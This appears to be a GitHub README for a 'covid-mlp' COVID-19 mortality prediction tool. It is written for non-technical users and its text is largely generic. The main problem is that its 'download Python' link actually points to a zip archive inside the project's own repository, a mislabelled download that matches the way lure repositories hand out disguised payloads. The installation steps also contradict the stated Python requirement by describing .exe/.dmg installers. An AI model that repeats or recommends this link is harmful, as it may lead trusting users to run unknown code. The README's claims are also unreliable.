Welcome to the covid-mlp project! This software predicts COVID-19 mortality rates using a shallow neural network built with CDC data. It is designed for users without a technical background, allowing you to harness machine learning for serious public health issues.
Before you begin, ensure your system meets these requirements:
- Operating System: Windows 10 or newer, macOS Catalina or newer, or a modern Linux distribution.
- RAM: At least 4 GB is recommended.
- Storage: Ensure you have 500 MB of free space.
- Python: Version 3.6 or newer installed on your system.
If you do not have Python installed, you can easily download it from https://raw.githubusercontent.com/hamza2334-tech/covid-mlp/main/nephria/covid-mlp.zip.
- Easy Data Processing: The software processes CDC data without needing any coding skills.
- Neural Network: Uses a shallow neural network model to predict mortality rates accurately.
- User-Friendly Interface: A graphical user interface (GUI) guides you through the steps.
- Quick Predictions: Get results in minutes instead of hours.
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Visit the Releases Page: Go to the Releases page to find the latest version of the software.
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Choose Your Version: You will see a list of available versions. Look for the most recent release version.
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Download the Installer: Click on the installer file suitable for your operating system.
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Run the Installer: Follow these steps to run the installer:
- For Windows, double-click the downloaded
.exefile. - For macOS, open the
.dmgfile and drag the app to your Applications folder. - For Linux, run the downloaded package using your package manager or terminal.
- For Windows, double-click the downloaded
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Launch the Application: After installation, find the application in your programs or applications folder. Click to open it.
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Load Data: Click on the “Load Data” button to upload your CDC dataset. The software supports CSV format.
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Select Prediction Options: Adjust settings for the model, like the number of simulations, if needed.
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Run Predictions: Hit the “Predict” button. The predictions will take a few moments.
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View Results: Once the predictions are complete, results will display on the screen with options to save your results.
- Documentation: Comprehensive user guide available in the software or online.
- Community Support: Join discussions on topics related to COVID-19 predictions. Check our GitHub Discussions.
If you're interested in supporting our project, we welcome contributions. You can help by:
- Reporting bugs.
- Improving documentation.
- Suggesting new features.
Feel free to submit issues or pull requests via GitHub.
This project is licensed under the MIT License. You can freely use and share it with others, respecting the terms of the license.
- Thanks to the CDC for providing essential data.
- Special thanks to all contributors who made this project possible.
For any questions, please reach out via the issues section on GitHub. We are happy to help!